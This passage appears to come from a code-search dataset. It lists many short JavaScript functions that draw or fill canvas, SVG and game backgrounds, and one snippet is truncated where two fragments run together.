MIN_RED)) + MIN_RED; \n this.GREEN_OFFSET = Math.floor(Math.random() * (MAX_GREEN - MIN_GREEN)) + MIN_GREEN; \n this.BLUE_OFFSET = Math.floor(Math.random() * (MAX_BLUE - MIN_BLUE)) + MIN_BLUE; \n //each overlapping layer will contain randomly drawn shapes and colors\n this.canvasLayers = new Array(NUM_LAYERS);\n //parameters that will be fed into the drawLayer on each iteration. These will be updated each time\n //we call the drawLayer function\n const step = Math.floor(window.width / this.canvasLayers.length);\n const parameters = {\n blue: 150,\n green: 155, \n red: 255,\n position: 0,\n step: step\n }\n\n for (let position = 0; position < this.canvasLayers.length; position++) {\n parameters.position = position;\n this.drawLayer(canvas, ctx, parameters);\n }\n\n this.drawClouds(canvas, ctx);\n this.drawSun(canvas, ctx);\n }","function Background()\n{\n\tthis.speed = 1; // Redefine speed of the background for panning\n\t// Implement abstract function\n\tthis.draw = function()\n {\n\t\t// Pan background\n\t\tthis.y += this.speed;\n\t\tthis.context.drawImage(imageRepository.background, this.x, this.y);\n\t\t// Draw another image at the top edge of the first image\n\t\tthis.context.drawImage(imageRepository.background, this.x, this.y - this.canvasHeight);\n\t\t// If the image scrolled off the screen, reset\n\t\tif (this.y >= this.canvasHeight)\n\t\t\tthis.y = 0;\n\n\t};\n}","initBackground() {\n\t\tthis.background = new createjs.Shape();\n\t\tthis.background.graphics.beginFill(\"black\").drawRect(0, 0, this.width, this.height);\n\t\tthis.background.x = 0;\n\t\tthis.background.y = 0;\n\t\tthis.stage.addChild(this.background);\n\t\t//this.updateStage();\n\t}","function drawBackground() {\n\t\n\tif (backgroundImg.width >= canvas.width) {\n\t\t// If the image has fully passed through screen, reset x to default position and\n\t\t// draw again \n\t\tif (x <= -(backgroundImg.width + canvas.width)) \n\t\t{ \n\t\t\tx = -canvas.width;\n\t\t}\n\t\t\t\n\t\tif (x <= -(backgroundImg.width - canvas.width)) \n\t\t{ \n\t\t\t// Continuing to draw image if it's width runs out\n\t\t\tctx.drawImage(backgroundImg, (x + backgroundImg.width), 0, \n\t\t\tbackgroundImg.width, backgroundImg.height); \n\t\t}\n\t}\n\n\t// Drawing a new image from canvas.width\n\tctx.drawImage(backgroundImg, x, 0, backgroundImg.width, backgroundImg.height);\t\n\n\t// Amount for the x on image to move left each frame\n\tx -= xv;\t\n}","function Background() {\n\n // Implement abstract function\n this.draw = function () {\n this.context.drawImage(imageRepository.background, this.x, this.y);\n };\n}","animate(ctx){\n this.drawBackground(ctx);\n }","function createBackground() {\n\tvar background = document.createElementNS($SVG_LIB, \"rect\");\n\tbackground.setAttribute(\"id\", \"background\");\n\tbackground.setAttribute(\"fill\", backgroundColor);\n\tbackground.setAttribute(\"height\", size * height);\n\tbackground.setAttribute(\"width\", size * width);\n\tdocument.getElementById(\"components\").appendChild(background);\n}","background(r, g, b) {\n this.ctx.canvas.style.backgroundColor = getColorString(this.palette, r, g, b);\n }","function draw(context) {\n context.drawImage(background, ofsetted_x, ofsetted_y);\n debug.do_draw('panels') && draw_debug(context);\n }"],"string":"[\n \"function drawBackground() {\\n\\t// Draw the background\\n\\tcolorRect(0, 0, canvas.width, canvas.height, '#333');\\n}\",\n \"function drawBackground() {\\n ctx.fillStyle = COLOR_BACKGROUND;\\n ctx.fillRect(0, 0, width, height);\\n}\",\n \"function Background() {\\n\\tctx.beginPath();\\n\\tctx.rect(0, 0, 1140, 600);\\n\\tctx.fillStyle = \\\"black\\\";\\n\\tctx.fill();\\n}\",\n \"drawbackground(){\\n CTX.fillStyle = \\\"#41f459\\\";\\n CTX.fillRect(this.x,this.y, this.width, this.height);\\n\\n\\n }\",\n \"function drawBackground() {\\n\\tcontext.save();\\n\\tcontext.fillStyle = \\\"#f0f0ff\\\";\\n\\tcontext.fillRect(0, 0, canvas.width, canvas.height);\\n\\tcontext.translate(0, canvas.height - 50);\\n\\tcontext.fillStyle = \\\"#007f00\\\";\\n\\tcontext.fillRect(0, 0, canvas.width, 50);\\n\\tcontext.restore();\\n}\",\n \"drawBackground() {\\n this.cxt.fillStyle = '#FFE5CE'\\n this.cxt.fillRect(0, 0, this.width, this.height)\\n }\",\n \"function drawBackground() {\\n context.fillStyle = \\\"gray\\\";\\n context.fillRect(0, 0, canvas.width, canvas.height);\\n}\",\n \"function drawBackground() {\\r\\n context.drawImage(backgroundCanvas, 0, 0);\\r\\n }\",\n \"backgroundDisplay() {\\n push();\\n rectMode(CORNER);\\n noStroke();\\n fill(this.color);\\n rect(this.x, this.y, this.width, this.height);\\n pop()\\n }\",\n \"function drawBG()\\n{\\n ctx.beginPath();\\n ctx.rect(0, 0, DEFAULT_CANVAS_SIZE, DEFAULT_CANVAS_SIZE);\\n ctx.fillStyle = '#333'; // Gray\\n ctx.fill();\\n}\",\n \"function drawBackground() {\\n //drawShadow(); //drawDog shadow beneath dog first\\n context.fillStyle = BG_COLOR;\\n context.fillRect(0, 0, WIDTH, 500); //wipe picture above shadow\\n context.fillStyle = '#83B799';\\n context.fillRect(0, 500, WIDTH, 2); //drawDog horizontal ground line\\n}\",\n \"function drawBackground() {\\n // draw 3x3 copies of the background, offset by the position\\n const xOffset = ((x % background.width) + background.width) % background.width;\\n const yOffset = ((y % background.height) + background.height) % background.height;\\n for (let xPos = -xOffset; xPos < canvas.width; xPos += background.width) {\\n for (let yPos = -yOffset; yPos < canvas.height; yPos += background.height) {\\n ctx.drawImage(background, xPos, yPos);\\n }\\n }\\n}\",\n \"function draw() {\\n background(\\\"#222831\\\");\\n}\",\n \"_drawBackground() {\\n const { x, y, width, height } = this.config;\\n this._background = this.scene.add.rectangle( x, y, width, height,\\n this.config.backgroundColor );\\n this._background.setOrigin( 0, 0 );\\n }\",\n \"background(lib){\\n lib.moveTo(lib.width/2,lib.height/2);\\n lib.penColor(\\\"black\\\");\\n lib.dot(500);\\n }\",\n \"function drawBackGround() {\\n\\t//for (let i = 0; i < 14; i++) {\\n\\t//\\tfor (let j = 0; j < 10; j++) {\\n\\t//\\t\\tcontext.drawImage(bg, 64*i, 64*j);\\n\\t//\\t}\\n\\t//}\\n\\tcontext.drawImage(bg, 0, 0,800,600);\\n\\n}\",\n \"drawBackground() {\\n const width = this.canvas.width;\\n const height = this.canvas.height;\\n const radius = this.getBorderRadius();\\n this.context.fillStyle = this.getBackgroundColor();\\n this.context.beginPath();\\n this.context.moveTo(radius, 0);\\n this.context.arcTo(width, 0, width, radius, radius);\\n this.context.arcTo(width, height, width - radius, height, radius);\\n this.context.arcTo(0, height, 0, height - radius, radius);\\n this.context.arcTo(0, 0, radius, 0, radius);\\n this.context.fill();\\n }\",\n \"function draw() {\\n background(220);\\n}\",\n \"function draw() {\\n background(204, 153, 0);\\n}\",\n \"function draw(){\\r\\n background(\\\"white\\\");\\r\\n \\r\\n \\r\\n \\r\\n}\",\n \"function drawBackground() {\\n var STEP_Y = 12,\\n TOP_MARGIN = STEP_Y*4,\\n LEFT_MARGIN = 35,\\n i = context.canvas.height;\\n \\n context.save();\\n\\n context.strokeStyle = 'lightgray';\\n context.lineWidth = 0.5;\\n\\n while(i > TOP_MARGIN) { // Draw horizontal lines from bottom up\\n context.beginPath();\\n context.moveTo(0, i);\\n context.lineTo(context.canvas.width, i);\\n context.stroke();\\n i -= STEP_Y;\\n }\\n\\n // Draw vertical line\\n context.strokeStyle = 'rgba(100,0,0,0.3)';\\n context.lineWidth = 1;\\n\\n context.beginPath();\\n context.moveTo(LEFT_MARGIN, 0);\\n context.lineTo(LEFT_MARGIN, context.canvas.height);\\n context.stroke();\\n\\n context.restore();\\n}\",\n \"function drawBackground() {\\n\\tcanvasContext.fillStyle = 'black';\\n\\tcanvasContext.fillRect(0, 0, GAME_WIDTH, GAME_HEIGHT);\\n}\",\n \"function draw() {\\n\\tbackground(0, 0, 255); // blue background\\n}\",\n \"function drawBackground() {\\n // Wasser\\n L10_Canvas.crc2.fillStyle = \\\"#3686e1\\\";\\n L10_Canvas.crc2.fillRect(0, 0, 600, 800);\\n // Stein\\n L10_Canvas.crc2.fillStyle = \\\"#768b99\\\";\\n L10_Canvas.crc2.beginPath();\\n L10_Canvas.crc2.moveTo(0, 480);\\n L10_Canvas.crc2.quadraticCurveTo(320, 450, 350, 650);\\n L10_Canvas.crc2.lineTo(0, 600);\\n L10_Canvas.crc2.stroke();\\n L10_Canvas.crc2.fill();\\n // Sand\\n L10_Canvas.crc2.fillStyle = \\\"#ae8f58\\\";\\n L10_Canvas.crc2.beginPath();\\n L10_Canvas.crc2.moveTo(0, 600);\\n L10_Canvas.crc2.quadraticCurveTo(150, 550, 300, 600);\\n L10_Canvas.crc2.quadraticCurveTo(450, 650, 600, 600);\\n L10_Canvas.crc2.lineTo(600, 800);\\n L10_Canvas.crc2.lineTo(0, 800);\\n L10_Canvas.crc2.fill();\\n }\",\n \"function drawBackground() {\\n var STEP_Y = 12,\\n i = context.canvas.height;\\n \\n context.strokeStyle = 'rgba(0,0,200,0.225)';\\n context.lineWidth = 0.5;\\n\\n context.save();\\n context.restore();\\n\\n while(i > STEP_Y*4) {\\n context.beginPath();\\n context.moveTo(0, i);\\n context.lineTo(context.canvas.width, i);\\n context.stroke();\\n i -= STEP_Y;\\n }\\n\\n context.save();\\n\\n context.strokeStyle = 'rgba(100,0,0,0.3)';\\n context.lineWidth = 1;\\n\\n context.beginPath();\\n\\n context.moveTo(35,0);\\n context.lineTo(35,context.canvas.height);\\n context.stroke();\\n\\n context.restore();\\n}\",\n \"function draw() {\\n // Place your drawing code here \\n background('black');\\n \\n image(bg, bgX, 0, bgWidth, bgHeight);\\n image(bg, bgX + bgWidth, 0, bgWidth, bgHeight);\\n \\n// noFill();\\n// stroke('white');\\n// strokeWeight(3);\\n// rect(bgX, 0, bgWidth, bgHeight);\\n// rect(bgX + bgWidth, 0, bgWidth, bgHeight);\\n \\n bgX -= 5;\\n if (bgX < -bgWidth) {\\n bgX = 0; \\n }\\n \\n}\",\n \"function drawBG() {\\n\\tsetBG('#00B2EE');\\n\\tdrawGrid(16);\\n\\tlet i;\\n\\tfor (i = 0; i < levelWidth; i++) {\\n\\t\\tdrawTile(tiles[0], i * 16, canvas.height - 16, 0);\\n\\t}\\n\\tdecorateBG();\\n}\",\n \"function background(){\\n //background\\n ctx.fillStyle = '#000000';\\n ctx.fillRect(0, 0, width, height);\\n //grid of dots\\n ctx.fillStyle = '#AAAAAA';\\n for(var h = 50; h < height; h += 50){\\n for(var w = 50; w < width; w += 50){\\n drawDot(w, h);\\n }\\n }\\n}\",\n \"drawBackground(ctx) {\\n if (this.background) {\\n if (!ctx) {\\n this.background.draw(this.ctx)\\n } else {\\n this.background.draw(ctx)\\n }\\n }\\n }\",\n \"function createBackground(ctx){\\n ctx.clearRect(0, 30, 400, 600);\\n ctx.fillStyle = bgColour;\\n ctx.fillRect(0, 30, 400, 600);\\n}\",\n \"function drawBackground() {\\n\\n // first clear the the whole canvas\\n ctx.clearRect(0, 0, canvas.width, canvas.height);\\n\\n // this will generate the main gradient (main-light) of wallpaper\\n let mainGrd = ctx.createRadialGradient(\\n canvas.width / 2, rndNum(-85, -100), 1,\\n canvas.width / 2, canvasMax / 4, canvasMin * 1.8);\\n mainGrd.addColorStop(.4, \\\"#1a0003\\\");\\n mainGrd.addColorStop(0, \\\"#d58801\\\");\\n\\n // after creating the gradient and set it colors,\\n // we should set it as the fillStyle of the context and\\n // paint whole canvas\\n ctx.fillStyle = mainGrd;\\n ctx.fillRect(0, 0, canvas.width, canvas.height);\\n}\",\n \"function drawBackground(chart) {\\n\\t\\tvar background = chart.rect(\\n\\t\\t\\twidth,\\n\\t\\t\\theight\\n\\t\\t);\\n\\t\\tbackground.move(\\n\\t\\t\\tleft,\\n\\t\\t\\ttop\\n\\t\\t);\\n\\t\\tbackground.attr({\\n\\t\\t\\t\\\"opacity\\\": \\\"0\\\"\\n\\t\\t});\\n\\n\\t\\treturn background;\\n\\t}\",\n \"function drawBackground(){\\n ctx = myGameArea.context;\\n //clear canvas\\n ctx.clearRect(0, 0, 6656, 468);\\n backgroundImg.draw();\\n \\n }\",\n \"drawBg() {\\n let ctx = this.bgCanvas.getContext(\\\"2d\\\");\\n // important: https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/clearRect\\n // using beginPath() after clear() prevents odd behavior\\n ctx.beginPath();\\n ctx.fillStyle = \\\"white\\\";\\n ctx.lineStyle = \\\"black\\\";\\n ctx.lineWidth = 1;\\n\\n // white rectangle for background\\n ctx.fillRect(0, 0, this.canvasWidth, this.canvasHeight);\\n }\",\n \"function drawBackground() {\\n var background = new Image();\\n background.src = \\\"plain-bg2.png\\\";\\n background.onload = function() {\\n ctx.drawImage(background,0,0,canvas.width, canvas.height)};\\n}\",\n \"function draw_background() {\\n\\t// fills background\\n\\tbackground(colors.bg);\\n\\t// draws golden quadrilateral\\n\\tnoStroke();\\n\\tfill(colors.bg_quad);\\n\\tquad(Math.floor(width / 3), 0, width, Math.floor(height / 3), \\n\\t\\tMath.floor(width / 3 * 2), height, 0, Math.floor(height * .55));\\n\\n\\t// fills in top left w/ custom shape to shape the side of the quadrilateral into a curve\\n\\tfill(colors.bg_dark);\\n\\tbeginShape();\\n\\tvertex(0, 0);\\n\\tvertex(Math.floor(width / 3), 0);\\n\\t// temporary variable for computing coordinates of vertices for easy input\\n\\tlet v = [{x: Math.floor(width * .2), y: Math.floor(height * .2)}, \\n\\t\\t{x: Math.floor(width * .25), y: width * .4}, {x: 0, y: Math.floor(height * .55)}];\\n\\tbezierVertex(v[0].x, v[0].y, v[1].x, v[1].y, v[2].x, v[2].y);\\n\\tendShape();\\n\\n\\t// fills in top right w/ custom shape to shape other side of quadrilateral\\n\\tbeginShape();\\n\\tvertex(Math.floor(width / 3), 0);\\n\\tvertex(width, 0);\\n\\tvertex(width, height / 3);\\n\\tv = [{x: Math.floor(width * .8), y: Math.floor(height * .28)}, \\n\\t\\t{x: Math.floor(width * .55), y: Math.floor(height * .2)}, {x: Math.floor(width / 3), y: 0}];\\n\\tbezierVertex(v[0].x, v[0].y, v[1].x, v[1].y, v[2].x, v[2].y);\\n\\tendShape();\\n}\",\n \"function drawBackground() {\\n // sky\\n skyTop.tesselate(HORIZONTAL, 0);\\n skyBackground.tesselate(HORIZONTAL, skyTop.height);\\n\\n // grass blades\\n groundHeight = HEIGHT - grass.height * 2;\\n for (var pos in grassBladePositions) {\\n grassBlade = grassBladePositions[pos];\\n grassBlade.draw(pos * grassBlade.width,\\n groundHeight - grassBlade.height);\\n }\\n\\n // ground\\n grass.tesselate(HORIZONTAL, groundHeight);\\n stone.tesselate(HORIZONTAL, groundHeight + grass.height);\\n // drawTesselation(stone, HORIZONTAL, lowestHeight);\\n}\",\n \"function showBackground() {\\n\\n clearGameBoard();\\n var background = new Image();\\n background.src = 'images/background05.png';\\n ctx.drawImage(background, 0, 0, game.width, game.height);\\n\\n var fontSize = game.width * 0.025;\\n ctx.font = fontSize+'pt Calibri';\\n\\n if (game.width >= 768) {\\n ctx.lineWidth = 3.3;\\n } else {\\n ctx.lineWidth = 1.5;\\n }\\n \\n // stroke color\\n ctx.strokeStyle = 'yellow';\\n \\n ctx.shadowColor = \\\"rgba(0,0,0,0.3)\\\";\\n\\n if (game.width >= 768) {\\n ctx.strokeText('Space Invaders', game.width/2 - (fontSize*5), fontSize + 10);\\n } else {\\n ctx.strokeText('Space Invaders', 160, 15);\\n }\\n \\n\\n }\",\n \"setupBackground() {\\n this.bgRect = new paper.Path.Rectangle(new paper.Point(), view.size);\\n this.bgRect.fillColor = this.backgroundColor;\\n this.bgRect.sendToBack();\\n }\",\n \"function bg(ctx) {\\n\\tctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height);\\n\\tctx.fillStyle = '#1c1c1c';\\n\\tfor (var x = -1; x < ctx.canvas.width + 1; x += cellSize) {\\n\\t\\tctx.fillRect(x, 0, 2, ctx.canvas.height);\\n\\t}\\n\\tfor (var y = -1; y < ctx.canvas.height + 1; y += cellSize) {\\n\\t\\tctx.fillRect(0, y, ctx.canvas.width, 2);\\n\\t}\\n}\",\n \"function drawBackround(){\\n ctx.fillStyle = 'rgb(148,229,255)';\\n ctx.fillRect(\\n 0,\\n 0,\\n WIDTH,\\n HEIGHT\\n );\\n}\",\n \"drawBackground(ctx) {\\n this.drawHorizonGradient(ctx);\\n if(this.moon !== undefined) {\\n this.moon.draw(ctx);\\n } else {\\n this.sun.draw(ctx);\\n }\\n this.drawTrees(ctx);\\n }\",\n \"draw() {\\n // Displaying the background\\n image(hubImage, 0, 0, width, height);\\n }\",\n \"function draw_background(graphics_context, color = \\\"white\\\")\\n{\\n\\tgraphics_context.save();\\n\\n\\tgraphics_context.fillStyle = color;\\n\\tgraphics_context.fillRect\\n\\t(\\n\\t\\t0, 0,\\n\\t\\tgraphics_context.canvas.width,\\n\\t\\tgraphics_context.canvas.height\\n\\t);\\n\\n\\tgraphics_context.restore();\\n}\",\n \"function DrawBackground(){\\n\\n // draw the background\\n ctx.fillStyle = trial.background_colour;\\n ctx.fillRect(0, 0, trial.canvas_dimensions[0], trial.canvas_dimensions[1]);\\n\\n // draw the progress text\\n ctx.font = \\\"28px Arial\\\";\\n ctx.fillStyle = \\\"white\\\";\\n ctx.textAlign = \\\"center\\\";\\n var info_text = \\\"Block \\\" + counter.block + \\\" of \\\" + counter.n_blocks + \\\", Trial \\\" + counter.trial + \\\" of \\\" + trial.n_trials;\\n ctx.fillText(info_text, trial.canvas_dimensions[0]/2, 3* ctx.measureText('M').width/2);\\n\\n\\n }\",\n \"drawBg() {\\n let g = this,\\n cxt = g.context,\\n sunnum = window._main.sunnum,\\n cards = window._main.cards,\\n img = imageFromPath(allImg.bg);\\n cxt.drawImage(img, 0, 0);\\n sunnum.draw(cxt);\\n }\",\n \"function background(col){\\r\\n ctx.fillStyle = col;\\r\\n return ctx.fillRect(0,0,creation.width,creation.height);\\r\\n}\",\n \"function backgroundGradient() {\\n if (ball.x < width) {\\n push();\\n colorMode(HSB,255);\\n background(map(ball.x,0,width,0,255),180,200);\\n pop();\\n }\\n}\",\n \"function setBackground()\\n{\\n canvas.style.backgroundColor = 'rgb(' + [paintColor[0],paintColor[1],paintColor[2]].join(',') + ')';\\n}\",\n \"function draw() {\\n background(0);\\n}\",\n \"function draw() {\\n background(0);\\n}\",\n \"drawGradientBackground() {\\n const grd = this.ctx.createLinearGradient(0, 0, this.width, this.height);\\n grd.addColorStop(0, '#333333');\\n grd.addColorStop(1, '#000000');\\n this.ctx.fillStyle = grd;\\n this.ctx.fillRect(0, 0, this.width, this.height);\\n }\",\n \"function updateBackground(){\\n gameWorld.ctx.fillStyle = \\\"rgb(0,0,0)\\\";\\n gameWorld.ctx.fillRect(0, 0, gameWorld.canvas.width, gameWorld.canvas.height);\\n}\",\n \"function draw() {\\n background(240);\\n drawTarget();\\n}\",\n \"function drawFrame(perc) {\\n background(backColor);\\n}\",\n \"function drawBackgrounds() {\\n for (i = 0; i < 3; i++) {\\n addBackgroundObject('./img/background/03_farBG/Completo.png', bg_elem_3_x + i * 1726, -110, 0.45); //far away background layer\\n }\\n\\n for (j = 0; j < 6; j++) {\\n addBackgroundObject('./img/background/02_middleBG/completo.png', bg_elem_2_x + j * 1050, 70, 0.28); //middle distanced background layer\\n }\\n\\n for (k = 0; k < 10; k++) {\\n addBackgroundObject('./img/background/01_nearBG/completo.png', bg_elem_1_x + k * 960, -30, 0.45); //nearest background layer\\n }\\n}\",\n \"function paintBG(ctx, color, dim) {\\n\\tctx.beginPath();\\n\\tctx.fillStyle = color;\\n ctx.fillRect(0,0,dim[0],dim[1]);\\n\\tctx.closePath();\\t\\n}\",\n \"function draw() {\\n drawbackground();\\n drawHoles();\\n }\",\n \"draw_background(){\\n this.svg.append('rect')\\n .attr(\\\"class\\\", \\\"timeline-bg\\\")\\n .attr('y', `${this.label_height - 5}`)\\n .attr('x', -5)\\n .attr('width', `${this.WIDTH}`)\\n .attr('height', '100%')\\n }\",\n \"generateBg() {\\n this.addChild(BgContainer.generateRect());\\n }\",\n \"function Background() {\\n this.x = 0;\\n this.y = 0;\\n this.w = bg.width;\\n this.h = bg.height;\\n this.render = function () {\\n context.drawImage(bg, this.x--, 0);\\n if(this.x <= -499){\\n this.x = 0;\\n }\\n }\\n }\",\n \"function draw() { \\r\\n background(234,31,58); // Set the background to black\\r\\n y = y - 1; \\r\\n if (y < 2) { \\r\\n y = height; \\r\\n } \\r\\n stroke(234,31,58);\\r\\n fill(234,31,184);\\r\\n rect(0, y, width, y); \\r\\n \\r\\n stroke(234,31,58);\\r\\n fill(234,226,128);\\r\\n rect(0, y, width, y/2); \\r\\n \\r\\n stroke(234,31,58);\\r\\n fill(250,159,114);\\r\\n rect(0, y, width, y/4); \\r\\n\\r\\n}\",\n \"function createBackground(){\\n\\t\\tvar bg = createSquare(stageWidth, stageHeight, 0, 0, null, Graphics.getRGB(0,0,0,0));\\n\\t\\tstage.addChild( bg );\\n\\t\\tupdate = true;\\n\\t}\",\n \"function drawBackground(canvas, settings) {\\n const ctx = canvas.getContext(\\\"2d\\\");\\n ctx.fillStyle = settings.colours.bg;\\n ctx.fillRect(0, 0, canvas.width, canvas.height);\\n}\",\n \"function drawBackground() {\\n let randomNumber = Math.floor(Math.random() * 3);\\n if (randomNumber == 2) {\\n bgColor = \\\"whitesmoke\\\";\\n }\\n else {\\n bgColor = \\\"black\\\";\\n }\\n crc2.fillStyle = bgColor;\\n crc2.fillRect(0, 0, crc2.canvas.width, crc2.canvas.height);\\n }\",\n \"function drawBackground(w,h,color= '#000000', width=1,style = 'solid'){\\n if(this.background){\\n this.removeChild(this.background);\\n }\\n var background = new PIXI.Graphics();\\n const {hex,alpha} = parseColor(color);\\n background.beginFill(hex,alpha)\\n // drawBackground.lineStyle(width,parseColor(color))\\n background.drawRect(\\n 0,\\n 0,\\n w,\\n h\\n );\\n background.endFill();\\n this.background = background;\\n this.addChildAt(background,0)\\n }\",\n \"redrawBg() {\\n this.clearBg();\\n this.drawBg();\\n }\",\n \"function drawBackground(W,H) {\\n\\t\\tvar colors = currentColors;\\n\\n\\t\\tif(bgCanvas === null) {\\n\\t\\t\\tvar myCanvasElement = $scope.theView.parent().find('#theBgCanvas');\\n\\t\\t\\tif(myCanvasElement.length > 0) {\\n\\t\\t\\t\\tbgCanvas = myCanvasElement[0];\\n\\t\\t\\t}\\n\\t\\t\\telse {\\n\\t\\t\\t\\t//$log.log(preDebugMsg + \\\"no canvas to draw on!\\\");\\n\\t\\t\\t\\treturn;\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tif(bgCtx === null) {\\n\\t\\t\\tbgCtx = bgCanvas.getContext(\\\"2d\\\");\\n\\t\\t}\\n\\n\\t\\tif(!bgCtx) {\\n\\t\\t\\t//$log.log(preDebugMsg + \\\"no canvas to draw bg on\\\");\\n\\t\\t\\treturn;\\n\\t\\t}\\n\\n\\t\\tbgCtx.clearRect(0,0, W,H);\\n\\n\\t\\tif(colors.hasOwnProperty(\\\"skin\\\")) {\\n\\t\\t\\tvar drewBack = false;\\n\\t\\t\\tif(colors.skin.hasOwnProperty(\\\"gradient\\\") && W > 0 && H > 0) {\\n\\t\\t\\t\\tvar OK = true;\\n\\t\\t\\t\\tvar grd = bgCtx.createLinearGradient(0,0,W,H);\\n\\t\\t\\t\\tfor(var i = 0; i < colors.skin.gradient.length; i++) {\\n\\t\\t\\t\\t\\tvar cc = colors.skin.gradient[i];\\n\\t\\t\\t\\t\\tif(cc.hasOwnProperty('pos') && cc.hasOwnProperty('color')) {\\n\\t\\t\\t\\t\\t\\tgrd.addColorStop(cc.pos, cc.color);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse {\\n\\t\\t\\t\\t\\t\\tOK = false;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tif(OK) {\\n\\t\\t\\t\\t\\tbgCtx.fillStyle = grd;\\n\\t\\t\\t\\t\\tbgCtx.fillRect(0,0,W,H);\\n\\t\\t\\t\\t\\tdrewBack = true;\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tif(!drewBack && colors.skin.hasOwnProperty(\\\"color\\\")) {\\n\\t\\t\\t\\tbgCtx.fillStyle = colors.skin.color;\\n\\t\\t\\t\\tbgCtx.fillRect(0,0,W,H);\\n\\t\\t\\t\\tdrewBack = true;\\n\\t\\t\\t}\\n\\n\\t\\t\\tif(colors.skin.hasOwnProperty(\\\"border\\\")) {\\n\\t\\t\\t\\tbgCtx.fillStyle = colors.skin.border;\\n\\t\\t\\t\\tbgCtx.fillRect(0,0, W,1);\\n\\t\\t\\t\\tbgCtx.fillRect(0,H-1, W,H);\\n\\t\\t\\t\\tbgCtx.fillRect(0,0, 1,H);\\n\\t\\t\\t\\tbgCtx.fillRect(W-1,0, W,H);\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\",\n \"function draw() {\\n background(204, 231, 227)\\n checkState();\\n}\",\n \"function draw_bg() {\\n title = ctx.drawImage(sprites, 13, 11, 321, 34, 0, 0, 399, 34);\\n greenTop = ctx.drawImage(sprites, 0, 53, 399, 56, 0, 53, 399, 53);\\n purpleTop = ctx.drawImage(sprites, 0, 117, 399, 37, 0, 272, 399, 37);\\n\\tpurpleBot = ctx.drawImage(sprites, 0, 117, 399, 37, 0, 473, 399, 37);\\n}\",\n \"function Background(x, y, width, height, color) {\\n this.x = x; this.y = y; \\n this.width = width; this.height = height;\\n this.color = color;\\n\\n // Draw background image to given canvas context\\n this.draw = function(surface) {\\n surface.beginPath();\\n surface.fillStyle = this.color;\\n surface.fillRect(this.x, this.y, this.width, this.height);\\n }\\n }\",\n \"function draw() {\\n background(10,0,40);\\n environment.draw()\\n}\",\n \"playbackground1() {\\r\\n background(\\\"white\\\");\\r\\n\\r\\n //giving the background image details\\r\\n background(background_image_one);\\r\\n\\r\\n //displaying the variables\\r\\n\\r\\n \\r\\n ground.display();\\r\\n // drawSprites();\\r\\n\\r\\n \\r\\n \\r\\n \\r\\n }\",\n \"_setBackgroundLayerStyles() {\\n this.b.fillStyle = \\\"white\\\";\\n this.b.fillRect(0, 0, WORLD.WIDTH, WORLD.HEIGHT);\\n }\",\n \"function drawBackgroundSquares() {\\n for (var index = 0; index < self.allBackgroundSquares.length; index++) {\\n var square = self.allBackgroundSquares[index];\\n self.draw.fillStyle = square.color;\\n self.draw.fillRect(square.x, square.y, square.width, square.height);\\n }\\n }\",\n \"function drawBackground(){\\n ctx.drawImage(space, 0, 0, canvas.width, canvas.height);\\n switch(levelnum){\\n case 0:\\n //Free Flight\\n ctx.drawImage(freeflightground, 0,canvas.height-25,canvas.width,25);\\n break;\\n case 1:\\n //Mercury\\n ctx.drawImage(mercuryground, 0,canvas.height-25,canvas.width,25);\\n break;\\n case 2:\\n //Venus\\n ctx.drawImage(venusground, 0,canvas.height-25,canvas.width,25);\\n break;\\n case 3:\\n //Moon\\n ctx.drawImage(moonground, 0,canvas.height-25,canvas.width,25);\\n break;\\n case 4:\\n //Mars\\n ctx.drawImage(marsground, 0,canvas.height-25,canvas.width,25);\\n break;\\n case 5:\\n //Ganymede\\n ctx.drawImage(ganymedeground, 0,canvas.height-25,canvas.width,25);\\n break;\\n case 6:\\n //Titan\\n ctx.drawImage(titanground, 0,canvas.height-25,canvas.width,25);\\n break;\\n case 7:\\n //Uranus\\n ctx.drawImage(uranusground, 0,canvas.height-25,canvas.width,25);\\n break;\\n case 8:\\n //Neptune\\n ctx.drawImage(neptuneground, 0,canvas.height-25,canvas.width,25);\\n break;\\n case 9:\\n //Black Hole\\n break;\\n default:\\n //Not recognised\\n ctx.drawImage(freeflightground, 0,canvas.height-25,canvas.width,25);\\n break;\\n }\\n //bonus landing area\\n if (levelnum != 0 && levelnum != 9){\\n ctx.fillStyle = \\\"#00F\\\";\\n ctx.fillRect(800,(canvas.height/2)+300, 100, 10);\\n }\\n}\",\n \"create() {\\n let background = this.add.image(0, 0, 'background');\\n background.displayOriginX = 0;\\n background.displayOriginY = 0;\\n background.displayWidth = this.sys.canvas.width;\\n background.displayHeight = this.sys.canvas.height;\\n }\",\n \"function drawSky() {\\n\\n addBackgroundobject('./img/background/sky.png', 0, 0, -80, 0.5);\\n\\n}\",\n \"function makeBackground(){\\n\\timg = createImage(width, height);\\n\\n\\timg.loadPixels();\\n\\tlet xoff = 0;\\n\\tfor (let i = 0; i < width; i++){\\n\\n\\t\\tlet yoff = 0;\\n\\n\\t\\tfor (let j = 0; j> 1) * 256;\\n\\n\\t\\tbf.position(bgAddress + (scrTile << 10));\\n\\t\\n\\t\\tfor(let i=0;i<16;i++) {\\n\\t\\t\\tfor(let j=0;j<16;j++) {\\n\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\tlet tile = bf.getShort() + 0x6800;\\n\\t\\t\\t\\tlet flag = bf.get();\\n\\t\\t\\t\\tlet pal = bf.get();\\n\\t\\t\\t\\tif(hideBackground) {\\t// hide background based on flag and color, 0x10 maybe the switch\\n\\t\\t\\t\\t\\tlet hide = flag & 0xF;\\n\\t\\t\\t\\t\\tif((pal & 0x80) == 0)\\n\\t\\t\\t\\t\\t\\thide = 16;\\n\\t\\t\\t\\t\\tdrawTilesBase(imageData, tile, 1, 1, (pal & 0x1F) + 0x40, 16, false, (pal & 0x40), (pal & 0x20), hide);\\n\\t\\t\\t\\t} else \\n\\t\\t\\t\\t\\tdrawTilesBase(imageData, tile, 1, 1, (pal & 0x1F) + 0x40, 16, false, (pal & 0x40), (pal & 0x20));\\n\\t\\t\\t\\tctxBack.putImageData(imageData, scrx + (i)%32 * gridHeight, scry + (j) * 